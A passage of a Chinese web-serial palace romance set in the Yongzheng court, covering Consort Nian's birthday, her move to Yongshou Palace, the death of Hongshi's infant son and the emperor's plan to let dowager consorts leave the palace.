年芷瑶冲他笑笑,感受着颈间的热意,回手抱住了四爷:“万岁,你真好。”
四爷看她:“惯会耍赖。”
等几个孩子都收拾好,年芷瑶才有机会问弘昭:“今日怎么回来的这么早,这才刚过午膳的点呢,平日里。”
弘昭:“今日午后本是骑射课,因着大雪,谙达便把的课程给免了。”
年芷瑶点了点头,师傅们想来也不敢让这群皇阿哥在雪天里骑马吹风的,万一有一个不好,可是要掉脑袋的。
几人刚才都玩的热闹,等做下来还有些意犹未尽。
塔娜笑着看向额娘,“额娘,我想吃蛋挞。”
年芷瑶拍了拍女儿的手,“好,额娘让人给做。”
四爷嘱咐道:“等用过膳再上,免得败坏了胃口。”
苏
培盛一听,忙跟着下去传话了。
大雪过后,距离过年就越来越近了,去岁四爷免了新年大宴,今年便是四爷登基后的首个新年亮相,意义自然不一般,年芷瑶也早早的做了准备。
四爷自个儿也忙得很,先帝每年新年都会亲手给亲信的大臣们写福字以做祝福,听说是先帝刚登基时,国库空虚,过年时也没什么东西赏给亲信,便想出了个这个招。
后来国库充盈有东西赏人了,可福字也被留了下来,成了大清的传统,到了四爷这,自然也得继续写。
先帝的阿哥多,写福字这事,大都交给自己儿子们也就够了,这点四爷是比不上,便把在上书房读书的几个兄弟儿子都拉了壮丁,让几位阿哥跟着他一起写。
新年大宴,几位宗室福晋早早就来了,看着贵妃和皇后相继出席,坐在前头几位福晋对了个眼神,据说如今是贵妃掌宫,连新年都是贵妃操持的呢。
这位年贵妃从进潜邸后就是专房独宠,又接连为万岁生下二子一女,如今娘家又得势,可不是将皇后都挤的没地站了。
至于太医说皇后身体不好,不能劳累的说法,她们有的信了,有的不信,不过这话谁都不敢说,只能在心里嘀咕两句。
有的人将视线移向了十三福晋和十四福晋两人身上,这两位爷一个是最得万岁信重,一个是皇上的亲弟弟,自然比她们这些人要知道些内情。
十三福晋还是一惯的一声不吭,摆明了是一心向明月。
十四福晋看了又看,不知想到什么,微微叹了口气,要她说,做女人到了贵妃这份上,才算值呢。
八爷府上,八爷正在屋子里看着账本册子。
八福晋过来:“爷,这么晚怎么还不睡。”
她看了眼八爷手里的单子:“可是要给人送礼,这种事给我说声便是,何必亲自过来呢。”
八爷:“我看弘时快要出宫开府了,准备挑些礼物送过去。”
八福晋惊讶道:“弘时,那不是四爷的长子吗。”
八爷点头:“是啊。”
八福晋笑了笑:“爷,您说那位那么着急的将长子赶出宫去,可是为了贵妃的六阿哥。”
“福晋何出此言。”八爷看了她一眼。
八福晋一笑:“爷,您是不知,今日贵妃与皇后同在席间,我瞧着皇后怕是都快恨毒了贵妃了。”
“哦。”
看八爷感兴趣,八福晋接着道:“爷你信我,女人的感觉是不会错的,皇后本就无子,最看重的不过是中宫皇后的威严,却被贵妃给夺了,怎能不恨。”
中宫无权,却让贵妃管理六宫,她看如今得那位皇上也是偏心的没边了。
八爷敛住眸色,拍了拍她的手:“福晋说的有理。”
第70章 第70章生辰
清晨,四爷小心翼翼地掀开被子下了床。
年芷瑶睁开眼看了一眼他,揉了揉眼睛问道:“怎么起这么早。”
四爷:“可是吵醒你了。”他摸了摸她的头,接着道:“朕去前头看看有没有折子送进来,你接着睡吧。”
年芷瑶看了看一旁的座钟,如今才刚过五点,不禁提前为大臣们掬了一把辛酸泪,要说在四爷手底下做官不可谓是不辛苦。
先帝朝的时候,新年到腊月二十便会封笔放假,皇上放假,大臣自然也跟着放,等到正月十六再开笔上朝,人人都有一个悠长的假期。
再者,就是上了朝也不会立刻就干活,因为先帝二月份便要去畅春园了,一直待到七八月,然后又会去塞外围猎,还时不时地找机会去南巡半年。
故而在京城中的官员只要辛苦工作几个月,等先帝出门了,他们就能轻松了。
可这套流程到雍正朝来说就行不通了,四爷根本不休息不说,他还给自己加了工作量,比如在康熙朝三品以上的官员才能直接给皇上递折子。
四爷一登基就直接将范围扩大到了四品,还推行了密折制度,特定官员能直接越级上奏到御前,上折子的人数比康熙朝时猛增十倍有余。
如今四爷光是看折子都看不完,至于放假,那是什么。
看四爷走了,她本想再睡个回笼觉,可躺在床上却翻来覆去地睡不着,既如此,还不如直接起来呢。
白芨听见动静过来,“娘娘,怎么不多睡会儿。”
万岁临去前特意交代了,让她们不要吵着主子,如今天冷,又刚庆祝过新年,宫里也没有旁的事,正是清闲的时候。
年芷瑶“睡不着,扶我起来吧。”
等她穿戴好便朝外头看去,推开屋门,只觉得外头的冷意阵阵袭来,年芷瑶被风吹的一激灵,顿时清醒了许多。
如今刚过完年,宫里各处的奴才还有些懒散,她看着洒扫的小太监偷偷摸摸地打了个哈欠,笑了起来。
她看向白芨:“一会让人给他们送点热汤过去,这大冷的天,也不容易。”
白芨笑着为她披上披风:“是,娘娘慈爱。”
膳房,小太监瞧着承乾宫过来叫早膳的太监,低声道:“师傅,您说今日贵妃娘娘怎么这么早就过来叫膳了。”
要知道,如今这才刚到辰时呢。
大太监敲了敲他的脑袋:“赶紧干活,主子的事少管。”
对于他们这些奴才来说,主子说什么便是什么,至于深究,没这么硬的脑袋就别做多余的事。
小太监挠了挠头,他这不是怕日后贵妃都改了时辰嘛,这早膳的包子都是现包现吃的味道才最好,还好今日师傅多做了一些,若是日后贵妃都这个时辰叫膳,也好早做准备不是。
年芷瑶可不知道自己叫了顿早膳都能让膳房的小太监想半天,她正让白芨去看看几个孩子醒了吗,若是醒了,便让过来一起用膳。
弘昭如今倒还没开始上课,他揉着眼睛走在最后,“额娘。”
这几日弘晏缠他缠的要紧,每日都快跟在他屁股后面了,昨夜还硬是要跟着他一起睡,这小子,半夜还会在床上打滚,让他一整夜都没睡好。
年芷瑶看他,“怎么这么困,要不要回去再睡会儿。”
弘昭摇头,“不了,等过膳我还要温书,等晌午的时候睡一会儿就行。”
皇阿玛年前给他们兄弟布置了功课,等开了课皇阿玛定会考校的,他可不想在其他兄弟面前丢人。
年芷瑶看他心里有数,也就不多劝了,只在他的碗里夹了个龙眼包,“多吃些,如今你正是长身体的时候呢。”
“多谢额娘。”弘昭冲她一笑。
年芷瑶被他笑得心里一软,问他想不想年后搬去阿哥所同他的伴读一起住。
弘昭还没出声,那边弘晏便哭了起来,大声喊道:“不要哥哥搬走。”
年芷瑶看着小儿子拽着哥哥的袖子,抽噎着不撒手。
她无奈,“哥哥是搬去读书,又不是不回来了。”
弘晏撇嘴,“哥哥在这里也能读书。”
见弘晏耍无赖,她便把视线望向了弘昭,“不用在意弘晏,告诉额娘,你是怎么想的”
弘昭想了想,说道:“额娘,我想先留在宫里。”
他知道自己年岁渐长,等搬出宫后,再想像这样待在额娘和姐姐身边,也不大可能了。
“等弘晏再大一岁,再搬去阿哥所,我也放心些。”
看着弘昭的神色没有勉强,年芷瑶这才点了点头,“好。”
她看着自己这个一直听话懂事的大儿子,有些不放心地道:“如今上书房的人多,是非也多,若是有什么解决不了的,记得回来告诉额娘。”
“额娘放心。”弘昭笑得狂霸酷拽,“我可是皇阿哥,谁敢给我脸色看。”
他额娘是贵妃,阿玛对他看重,若还能让人欺负了,那他未免也太过没用了。
看着这样的弘昭,年芷瑶笑了笑,是了,弘昭虽在承乾宫软乎乎的,可在外面可是硬气得很。
她想起曾问过年寿,弘昭在上书房是否适应。
谁知年寿一脸崇拜地说六阿哥在书房一向出众,大家都很服气,这其中自然有四爷的偏爱加持,可也得弘昭自己争气才是。
晚间,年芷瑶对四爷说,弘晏不知是不是害怕弘昭抛下他自己搬去上书房的缘故,这几日对弘昭的恶作剧少了许多,再也不在弘昭的墨砚里多加水了。
也不在他练字的时候捣乱了,一下子就变成了弘昭的好弟弟,让年芷瑶还有些不适应。
四爷听了笑道:“他们是兄弟,关系自然远不了,朕都说了你
少操些心了。”
年芷瑶瞪他,这话可真是站着说话不腰疼。
可看着四爷眼底下的青黑,她又有些说不出话来。
她叹了口气,摸了摸四爷的脸,“万岁何必如此辛苦,如今这天下都是您的,就算有一处两处不合心意,又何必急于一时呢。”
积重难返,先帝在位这么多年,带来的长久习惯岂是一朝一夕能够改变的,就像是再好的政策,也不是一时就能看到成效的。
四爷知道瑶儿是在关心他,笑着将她搂在怀里,“朕知道。”
年芷瑶撇嘴,这人就会敷衍她。
像是能看到她脸上的表情一般,四爷解释道:“瑶儿贴心,可朝堂积弊已久,朕也想快些解决。”
先帝在世最后几年,就越发宽容老臣了,他知道皇阿玛是想求个好名声,可他不怕,那些个尸位素餐的,早就该下台了。
年芷瑶看他神色,便知道有人要倒霉了,她道:“爷,日子还长着呢,有您在,那些人又跑不了。”
就算四爷心里有火,也该慢慢来才是,手段太强硬的话,那些人虽不会顶着脑袋硬抗,但私底下的名声定不会好,不然后世怎么这么多骂四爷的。
四爷笑了,他凑过去轻声道:“好,都听瑶儿的。”
就此,两人的话题从孩子身上跳过,彻底歪了楼。
再过几日便是年芷瑶的生辰,原本四爷准备为她在宫里办场宴会,被她拦了下来,“不必如此隆重,咱们一家人在承乾宫用顿膳便可。”
四爷摸了摸她的发:“如此,便是委屈你了。”
年芷瑶靠在他身上:“和爷一起用膳,怎么能叫委屈呢。”
初九一早,太后便送来了生辰贺礼,是一对宝玉葫芦,虽不是十分名贵,但却有趣,她十分喜欢,便让人摆了起来。
三个孩子一早便穿戴了整整齐齐,来给她请安。
从长到幼的过来给她送礼,塔娜和弘昭送来的都是画,弘晏送的是字,听说本来弘晏想将他新抓的两个蝈蝈送过来,却被弘昭给拦下了。
年芷瑶都笑着收下了,无论送的是什么,都是孩子们的一番心意,她当然高兴得很。
如今只有四爷的礼物还没送,只是说曹操曹操到,苏培盛带着小太监过来,送了一对鸳鸯同心佩过来。
年芷瑶把玩着玉佩,她的好东西着实太多,这玉佩的款式虽简单了些,但因着是四爷送的,她也不嫌弃。
可这还没完,每过半个时辰,便有小太监捧着锦盒过来,送来的东西有大有小,有贵重的也有寻常之物。
不过可想而知,这些都是四爷为她挑的生辰礼物。
年芷瑶惊讶地看着,四爷这是想把自己的库房给搬空了吗。
午膳四爷未能有空过来,可仍然尤其极为丰盛,看着眼前的熊掌鹿尾,年芷瑶眼睛微挑,“这是否过于奢靡了。”
苏培盛笑道:“这可是万岁特意嘱咐的,说这东西难得,让娘娘尝尝呢。”
年芷瑶笑了,拿起筷子尝了一口,不是说熊掌真的比牛羊好吃,只是到底是个稀罕物,定是四爷特意传的话,这样被人记挂着,总让人心里暖洋洋的。
“回去告诉万岁,我很喜欢。”
苏培盛应承道:“诶。”
一整天,从养心殿往承乾宫过来送礼的小太监就没停过,看着堆满院子的礼物,年芷瑶嘴角的笑意越发压不住了。
等四爷过来的时候,她开口道:“万岁是想把整个私库都给我吗。”
四爷点头,“也不是不可,朕不知送你什么,便把你可能会喜欢的都送了过来。”
年芷瑶笑了笑:“我知道有一个最好,我也最想要。”
四爷看她:“是何物。”
年芷瑶:“远在天边近在眼前。”
她指了指四爷。
四爷只觉得自己心头一热,他伸手将撩拨他的人揽进怀里,本来想送礼物讨瑶儿欢心的,没成想如今更为欢心的却是自己。
他笑声蛊惑:“那朕把自己送给瑶儿可好。”【魔蝎小说 mo xie xs .c om】
70-80
第71章 第71章永寿宫
她的永寿宫从去岁便开始修,如今总算是修好了,管事太监特意来回了消息,年芷瑶笑着让白芨带人去看了一遍,回来后便说哪哪都好。
既然修好了,那她便准备搬宫了。
三月十七,天气晴,是个便搬宫的好日子。
年芷瑶带着人搬到了永寿宫,当然,只有她和几个孩子是今天搬过去的,其余的不常用的大件早几日就提前搬了过去,库房也早早地就挪了过去。
为此她还让白芨又顺便重新整了一遍库房,把用不着的东西都拿来赏了人,光是布料就不知送去了多少匹。
四爷知道后还夸她大方,年芷瑶心道,这些东西又不是她出钱买的,送谁她都不心疼,她不是大方,而是觉得东西放坏了可惜。
左右料子年年都有新的送过来,还不如将这些送出去做人情呢,还能听人多夸她几句。
她在永寿宫转了一圈,只觉得新修的宫殿到底是比承乾宫要气派一些,后头的院子里架着一个可以容纳两三个人的大秋千。
年芷瑶已经可以想象以后坐在里面的日子了。
屋子里都被白芨她们布置好了,属于进去了就能休息的程度,年芷瑶坐下来喝了杯茶,都想再给宫里的人发笔奖金了。
左右永寿宫够大,她便把前殿的五间房子都当做了待客和活动区域,还划了一个房间专门做弘晏的玩具房。
后殿便是她和孩子们的卧室,塔娜住在西配殿,弘昭和弘晏住在东配殿。
知道她了搬宫,宫里大大小小的主子都派人送来了贺礼,好在她新挑的库房够大,不然这些都不够放的。
白芨:“主子,”
年芷瑶点头,都收起来吧。
午后,年芷瑶让奶嬷嬷带着弘晏去御花园里放风了,这个年岁的孩子精力太过旺盛,不好好让他消磨一下,她实在是应付不来。
年芷瑶和女儿一起坐在院子里,阳光倾洒在两人身上,空气不冷不热的,舒服极了。
为着给塔娜做个好的榜样,她也就没再看什么话本小说,而是看起了诗集。
塔娜吃了口点心,只觉得和额娘在一起的时间太过悠闲,她想起如今在上书房读书的弟弟,说道:“弘昭真是辛苦,每每都要早起去上书房。”
年芷瑶替女儿整理了一下耳边的碎发,说道:“弘昭辛苦,是他从小就比多了一条选择的路,而你却没得选,他辛苦些也是应该的。”
塔娜似懂非懂地看她。
年芷瑶却有些不忍心说了,她不知道应不应该让塔娜明白这个道理。
四爷不是不爱女儿,如今宫里这么多阿哥他一个没有封,塔娜却进宫后就被封了固伦公主,位比亲王。
连未来夫婿都早早为她挑好了,生怕她日后受一点委屈。
可即便再疼,
四爷也不会让塔娜继承他的皇位,这便是最大的不同,因为四爷对女儿没有期望,所以娇宠。
弘昭走的路是艰难的,却是一条向上的路,女儿的路顺遂,却是向下的,一旦嫁了出去,就是那家人再好,也是脱离了皇家,即便日后再进宫,也是客人,她的孩子,也不会再姓爱新觉罗。
她揉了揉女儿的脑袋,问道:“想不想去骑马。”
塔娜点头:“想。”
年芷瑶笑了笑,决定还是让女儿自己去想,去看,不论何时,她都会在女儿身后,做她的后盾。
宫里的马场有很多,有供阿哥联系骑射的,也有只属于皇上的,她们今日来的便是四爷专门为她们开的,即便是阿哥们来马场,也碰不着。
马场上,她笑看着女儿在马背上飞驰,耀眼夺目,如今塔娜骑射越发好了,也是她不想让女儿整日地闷在宫里。
她想将女儿胆子养得大一些,宫里只说女子要娴静,连送到后宫的书,也大多都是经书。
照她说,还不如话本子呢,不是说经书不好,而是人活着,最重要的便是心气,整日看着这些,都把心气给磨没了,如何能活得痛快。
连太后都后悔将五公主养得过于娴静,不然怎么会如此喜欢鲜活的塔娜,每旬还会让人做骑马装送过来。
年芷瑶驱马过去,如今的马术不说多好,正常骑马行走是没什么问题的,两人一起在奔驰,倒是十分开心。
不过刚了宫,年芷瑶便看到了在院子撇着嘴的弘晏,心道坏了,怎么把这小子给忘了。
她哄了弘晏半天,直到答应他多加一个周的点心,才把他哄好。
年芷瑶进宫后才知道,宫里的嬷嬷管得严,阿哥每日用几块点心都是有定数的,怕的就是吃多了积食,或是坏了胃口。
她听了之后觉得也有些道理,少食多餐嘛,于是可怜的弘晏就走上了前头哥哥姐姐没走过的路,点心限量。
嘛,人总是在进步的,养孩子也是。
储秀宫
今日阳光正好,钮祜禄氏正在院中散步,她往外头看了一眼,刚才好似听见了小孩子的笑闹声。
之前她身边的春桃和夏竹早在去岁的小选时便因到了年纪出宫嫁人了,如今跟着的是内务府新分过来的,她取名为连翘和沉香。
新进宫的宫女还带着些许的活泼,连翘看着钮祜禄氏的方向,问道:“主子,您瞧什么呢。”
钮祜禄氏:“我看外面的花草倒是长得茂盛。”
连翘笑道:“如今开春了,花草自然就长了起来,主子若想看花,何不去御花园走走。”
“咱们咸福宫离御花园近得很,穿过后院没多远就到了。”
主子爱鲜花,她一早便会御花园采一些回来,对这条路熟得很。
钮祜禄氏顿了顿:“罢了,如今宫里人多,等晚些时日吧。”
连翘有些不解,宫里人多吗,一旁的沉香拉过她,低声道;“你傻啊,七阿哥正是活泼好动的年纪,每日都得去御花园玩,光是七阿哥也就算了,许是还会遇见贵妃娘娘呢。”
她悄悄看了一眼回了屋子的娘娘,“咱们娘娘人小位卑,何必要去人前头碍眼呢。”
如今宫里贵妃最大,连皇后娘娘都得退半步,两个阿哥又还小,谁知道会不会觉得主子和四阿哥碍眼,她和娘娘想得一样,既然比不过,还是避其的风头的好。
连翘吐了吐舌头,“姐姐说的是,是我考虑不周了。”
沉香:“行了,明日四阿哥休息,定会要给咱们娘娘来请安,你快下去准备吧。”
连翘笑着答应下来。
沉香看了看外面,刚才主子看得像是永寿宫的方向,新宫殿才能配新主子,可万岁登基,唯一修的宫殿只有贵妃娘娘的永寿宫。
宫里人人都知贵妃娘娘得宠,都想去永寿宫烧热灶。
不过,她觉得她们娘娘也不差,虽只是个嫔位,可四阿哥沉稳聪慧,想来未来一个王爷的位置总是有的。
像如今得密太妃,先帝在时不显,先帝一去,因着是两个十五,十六阿哥的生母,连皇上都得供奉着呢。
钮祜禄氏歇在屋里,听到外头小宫女的交谈声,皇后如今越发沉寂了,她喝了口茶,皇后真的这么能沉得住气吗。
自己搬到永寿宫之后,年芷瑶才发现这离四爷的养心殿是真的进,她只是午睡醒来了之后往这边多走了两步,就被看门的小太监眼尖看到了,然后她被小太监恭敬地迎了进去。
四爷正在前殿议事,听见外头传来走动的声音,不由得皱了皱眉。
苏培盛忙往外看了一眼,上前道:“是贵妃娘娘过来了。”
瑶儿?四爷眉头一松,看向正在对奏的大臣,说道,“今日就到这吧。”
这位大人有些迷茫地抬头。
苏培盛过来将这位户部尚书送走:“李大人,请吧。”
李大人被迫出宫,他看向身旁的苏培盛,连连摆手,“不劳烦公公了,我自己走就行。”
他出了宫仍然不解,这事虽然不急,可按照万岁的性子,怎么可能没定论就让他走了,这不合常理啊。
四爷往后殿一走,就瞧见瑶儿正坐在椅子上看书,正是他摆上书架上的一本。
他笑道:“怎么不给朕说就过来了。”
年芷瑶嘴角微抽,事到如今,她能说自己本来没想进来的吗,是看门的小太监太过热情了吗。
自己倒也没这么不解风情,她对四爷笑笑:“我想爷了,便过来看看。”
年芷瑶环顾一周,“万一爷在这金屋藏娇,我也好有个准备不是。”
四爷看上去心情颇好,配合她道:“瑶儿不就是朕的娇儿。”
站在门口的苏培盛只觉得牙都酸倒了,他挥了挥手,让屋子里的人都退了出来。
年芷瑶嗔他一眼,她靠在四爷身上,她是发现了,这人的脸皮越发厚了。
不过她有些明白为何四爷会选永寿宫给她了,一时之间,只觉得心里暖得惊人。
四月,四爷下了旨意,说让三阿哥出宫开府,还为他赐了尚书席尔达的女儿做嫡福晋。
外头人总算知道十四爷的府邸是修给谁的了,虽然之前便有人猜测宅子是给三阿哥用的,可如今真定了下来,倒叫人有些不敢相信了。
宫里成年皇子到了年岁成年开府是常事,可若是被立为太子便能一直留在宫中,中宫无子,三阿哥因是长子,不少人猜测四爷会立三阿哥为太子。
可四爷如今让三阿哥出宫,意思是要放弃三阿哥了吗。
弘时怒气冲冲地回了屋子,他可是皇阿玛的长子,怎么能出宫开府呢,他不信皇阿玛如此下旨,定是有小人作祟。
第72章 第72章赐婚
年芷瑶在宫里也收到了四爷为弘时赐婚的消息。
未来三福晋的阿玛是席尔达,属于镶红旗,官位也不低,四爷现在能为弘时娶这么一位嫡福晋,可见在这个时候,弘时这个儿子在四爷心里还是有些分量的。
虽然赐了婚,可嫡福晋过门总不是像格格一样,背个包袱就去了,六礼过完,至少要一年才行。
四爷倒也不是很着急,他的意思是让世人知道弘时出宫这事就行,省得整日用他来做太子的文章,故而成亲的事等上一等也不是不行。
只是他不急,却有人急得不行。
比如李氏就很急,自从知道三阿哥要出宫开府的消息,李氏的宫里不知打碎了几套杯盏了。
几个宫人也时常遭受打骂,整个宫里都怨声载道的。
这倒不是她让人去打听的,而是到了她这个位置,有些事不说,也有人会争相告诉。
要说也只能说,李氏这人御下不严吧。
不过这和她也没什么关系,眼看着就要到端午了。
每逢节日,内务府总要做些应景的东西给各宫送去,她虽不用亲自看着,但也要对着内务府送来的账本册子过目一遍,总不能内务府说用了多少遍是多少吧。
都说管家三年,猫狗也嫌,年芷瑶无意于绝了旁人的生路,但前提是这些人别拿她当傻子糊弄,给她弄出一个鸡蛋十两银子的事。
倒是塔娜,年岁还小,每每看到这些糊弄人的账本子,都忍不住生气。
四爷来了后便看到塔娜在一旁板着脸,不由问道:“朕的公主这是怎么了。”
年芷瑶:“您的公主刚看了账本,正生着气呢。”
四爷了然,他接过来看了一眼,笑道:“还行,没算太过分。”
塔娜瞪大了眼睛,从没想过这话会从自己皇阿玛嘴里说出来。
年芷瑶看了女儿一眼,笑出了声,她摸了摸女儿的小脸,“你还小呢。”
内务府这些人虽是奴才,花的也是你的钱,可你吃的用的住的都是他们准备的,还给你养着孩子,不让他们捞点油水怎么行。
年芷瑶躺在床上,
同四爷说着今晨去给太后请安时的事,她虽不是每日都去慈宁宫,但每五日也会去一趟。
这倒不是她嫌麻烦,而是太后喜清净,她也就不时常过去免得招人嫌,太后不是个难相处的人,又十分有分寸感,如今两人相处下来,倒是处出了几分真感情。
“皇额娘还问过塔娜的婚事呢,我说万岁已经在物色人家了,让她不必担心。”
四爷已经为塔娜选了富察家的孩子,她也见过他们家的夫人,瞧着倒是个好相处的,主要是那家的孩子长得的确是好,也不算委屈了塔娜。
四爷应了一声,“皇额娘疼爱公主,朕已经着人告诉富察家的人,让他们管好自家孩子,先不着急告诉皇额娘,若是不好,日后朕再为塔娜挑便是。”
即便为女儿挑了富察家,但也不是非他们不可,若是他们不听话,这天底下愿意娶公主的多的是。
年芷瑶笑了笑:“好。”
她眨了眨眼,她都有些羡慕塔娜了,说不定做四爷的公主比做四爷的贵妃要好呢。
若是富察家不好,四爷定会为塔娜换上一家好的,只是上了四爷的小本本,富察氏一族日后就别想再得到重用了,既然听懂了四爷的暗示,他们自然不会这么蠢。
晨起,年芷瑶还没睁开眼,便听见门外传来了弘晏和塔娜玩闹的声音,她动了动眼皮,想装作没听见弘晏喊额娘的声音,继续睡个回笼觉。
可没过多久,弘晏的脚步声朝这里走了过来,“额娘。”他站在床前脆生生地叫着她。
年芷瑶知道这是躲不过了,只能无奈地睁开眼,“怎么了。”
“额娘,来陪我玩好不好。”
“姐姐不是在陪你嘛。”她使劲揉了揉这个扰人精的脑袋。
弘晏不依不饶拉着她的袖子。
最终,年芷瑶还是没能拗过小儿子的撒娇,只能准备起床。
只是还没下床,她便看着白及行色匆匆地过来,抬眼看了眼七阿哥。
年芷瑶摆了摆手,让奶娘先把弘晏抱了下去。
她看向白及:“什么事,说吧。”
白及:“三阿哥的大阿哥病了,听说是昨夜发了热,叫了太医。”
年芷瑶挑眉,弘时如今就只有一个阿哥,是康熙六十年钟格格所生,四爷去岁给这孩子赐了名字,叫永珅,虽是格格所生,但也是四爷的长孙。
“太医怎么说。”
白及:“太医说许是夜里吹了风,这才着了凉,如今已经开药了。”
年芷瑶点了点头,“既如此,那便让人注意着些。”
小孩子着凉感冒也是有的,只要不是太严重,喝上几天的药也就好了。
白及:“是。”
年芷瑶:“万岁过去了吗。”
白及:“听说三阿哥已经让人去传话了,只是养心殿那还没有动静。”
钟格格早已哭得不行了,她跟着三阿哥这么久,只得了这一个阿哥,眼看着三福晋马上就要进门了,若是小阿哥没了,她日后还有什么依靠啊。
李氏不耐地看她一眼:“哭什么哭,好好的福气都让你给哭没了,连小阿哥都照看不好,也不知道你整日在宫里做什么。”
她看着烧得难受的阿哥,十分心疼地摸了摸他的头。
钟氏有些委屈,她日常照料阿哥十分精心,可谁知昨晚就吹了那一会子的风,今日就病了,她又怎能不难过。
弘时只觉得事事不顺,他刚被皇阿玛让他出宫的消息打击得不行,接着唯一的孩子还病了。
现在听见额娘和钟氏吵闹,只觉得烦闷,他起身去问太医,“你说,永珅何时才能好。”
太医有些犹豫,支支吾吾地道:“回三阿哥,小阿哥这是得了风寒,若是烧退下去,三五日便能好,若是高烧不退,只怕是难说啊。”
太医擦了擦汗,小阿哥年岁太小,如今已经烧了两天了,若是再不好,怕是说不好啊。
钟氏听了这话,忍不住后退两步,她的孩子啊。
年芷瑶吩咐白及若是那边要用什么药,不必来回她,直接去取便可,再加上四爷早早就吩咐了让太医院好生医治,自然没什么人敢怠慢。
白及过去看了一眼,只说如今阿哥所的药味十分重。
年芷瑶皱了皱眉头。
生病本不是什么大事,可弘时的阿哥病了许多天,总不见好,过去的太医越来越多,气氛也越发凝重。
连四爷过来用膳的时候,都带了一丝凝重。
年芷瑶为他盛了碗汤,“小阿哥还没好吗。”
四爷:“太医今日来回话,说怕是不好。”
他叹了口气,“弘时,也是时运不济。”
先是因先帝病重耽搁了赐婚,到如今膝下也只有这一个阿哥,也不一定能保得住。
年芷瑶安慰似的摸了摸四爷的手。
小阿哥到底没撑住连日的高烧,没过了几日,便夭折了。
在宫里,这般年岁的小孩子早夭,即便已经续齿,也只能简葬,故而小阿哥发葬得很快。
听说其生母钟氏已经在屋子里哭晕好几次了。
虽说没的只是个小辈,但到底为宫里蒙上的一层阴霾。
连弘昭下了课回来都说,三哥最近的脸色十分难看。
年芷瑶拍了拍他的肩,“你三哥最近心情不好,你远着他些便是。”
弘昭:“额娘放心,儿子明白的。”
三哥也是皇阿玛的儿子,皇阿玛对他自然也会疼爱。
皇阿玛怜三哥失子,这几日对三哥宽和了许多,还时不时地叫他过来宽解几分。
小阿哥去后,李氏不知在屋子里发了多少次脾气。
琥珀劝道:“主子,可别伤了自己,三阿哥还年轻,还会再有小阿哥的。”
李氏愤恨道:“再过两年,四阿哥五阿哥都该成婚了,到时长孙能从谁肚子里生出还未知呢,永珅可是万岁的长孙。”
她看向琥珀,“你说这事,和贵妃有没有关系。”
琥珀被吓了一跳,连忙跪了下来:“娘娘,这话可不敢乱说,贵妃娘娘”
为什么,若是贵妃嫉恨前事呢,李氏想开口,可看着琥珀一脸惶恐,她慢慢冷静了下来,贵妃在万岁面前一直以纯善示人,定不会轻易害人,她慢慢坐了下来,难道真是她的永珅福薄吗。
用过晚膳,年芷瑶还不想睡这么早,四爷便提议到御花园去散步,虽然她觉得这个点去外头闲逛有些傻。
但看着四爷的眼神,她着实没办法拒绝,算了,她知道这几日四爷的心情不好,就当舍命陪君子了。
看着皇上和娘娘要出门,苏培盛忙让小太监多提着几盏灯笼,免得一会儿黑灯瞎火的,再让什么东西惊扰着主子。
四爷牵着她的手往前走,如今正值春天,御花园的草木也都长起来了,倒也不难看,虽和正经的园子比不了,可到底聊胜于无。
看着头顶高悬的月亮,四爷开口道:“朕打听过,尚书席尔达的女儿,知书达理,是个合适的人选。”
年芷瑶点头,“爷挑的福晋,自然是不会错的。”
四爷叹了口气,“朕在想,若是朕不提出让弘时出宫之事,这孩子会不会就留得住。”
“万岁胡说什么呢。”年芷瑶看他将事揽在自己身上,连忙开口道:“太医都说了小阿哥是因病早夭,和您又有什么关系。”
她看向四爷,“要怪也能怪那几个嬷嬷没照顾好阿哥。”
四爷用力地握住瑶儿的手,小阿哥的病是意外,可若不是弘时出宫的消息闹得人心
惶惶,也不会一时疏忽,惊着了孩子。
第73章 第73章郡王
慈宁宫
太后叹了口气,“那孩子也是个福薄。”
四爷起身,“让皇额娘操心,是儿子的不是。”
年芷瑶也跟着站了起来,劝慰让太后保重自身,不要太过伤心了。
四爷:“朕已经让人在佛堂供奉了金刚经,望那个孩子能早登极乐。”
太后,“那便好。”
年芷瑶看了四爷一眼,两人如今虽都在慈宁宫,但不是商量好的,她和四爷一般不会同时来太后这请安,主要是四爷起得早,一般上完早朝就直接来慈宁宫转上一圈,以表孝心。
而她不喜欢上午出门,一般都是等太后睡完午觉才会过来,今日倒是碰巧了。
四爷看到她的视线,轻轻拍了一下她的手。
年芷瑶脸上一红,这可不是在永寿宫,她连忙抬头看向太后。
太后正低头喝茶。
年芷瑶瞪了一眼四爷。
四爷一笑,“儿子打算下旨,让有子的太妃可被接出宫赡养,不知皇额娘意下如何。”
他倒不是不想赡养太妃,即便太妃出宫,每月的分例他也会照样让内务府送去,只是宫里各个太妃都在,可真是什么消息都瞒不住。
太后先是一愣,而后笑道:“这倒是件好事。”太妃们不能随意走动,日子不说有多坏,可一眼也就到头了,比起在宫里熬日子,谁不想出宫去自己儿子府里呢。
“只是,若是人人都可接太妃出宫,怕是不妥。”
四爷:“是,儿子以为只有郡王以上的爵位才能奉养好太妃。”
太后点头,“这倒不错,你心里有数便好。”
她喝了口茶,看向四爷,“行了,知道你们想说说话,我也就不做那棒打鸳鸯的西王母,都回吧。”
太后摆了摆手,年芷瑶就同四爷一起被太后从慈宁宫赶了出来。
四爷笑着牵住她的手。
年芷瑶本想瞪他,却也忍不住露出笑意来,“都怪爷,若不是万岁碍了皇额娘的眼,我还能陪皇额娘用晚膳呢。”
四爷道:“那朕陪瑶儿一顿晚膳可好。”
她一副勉为其难的样子,“好吧。”
两人对视一眼,便笑了起来。
她开口道:“只是惠太妃该如何安排。”
惠太妃是直郡王的生母,可直郡王被圈,奉养不了太妃,难道让八爷接惠妃,可四爷估计不想将这个郡王爵位给八爷吧。
四爷:“朕准备封弘昱为郡王,奉养惠太妃。”
年芷瑶点头,“这样也好。”
弘昱是直郡王的长子,惠太妃想来也更愿意与自己的孙子住在一起。
宜太妃放下茶盏,看向身旁的宫女,“万岁真这样说。”
宫女说道:“千真万确,消息都已经传出来了,还是从太后娘娘交好的成太妃那传的,定是错不了。”
宜太妃眼里露出了笑意,先帝在时她是先帝宠妃,可先帝已去,新皇登基,她这个宠妃也就成了明日黄花了,如今若是有机会出宫,倒也不错。
宫女也开心得很,娘娘可是有两个阿哥呢,虽说九爷只是阿哥,可五爷却是亲王爵位啊,能跟着娘娘去王府奉养,总比待在宫里蹉跎要好。
宜妃也来兴致,对宫女道:“拿着银子去膳房要上几笼点心。”
宫女:“是。”
皇上这招可是好得很,要想侍奉太妃需得是郡王的爵位,可爵位是这么好得的吗,总得让皇上觉得你得用才是。
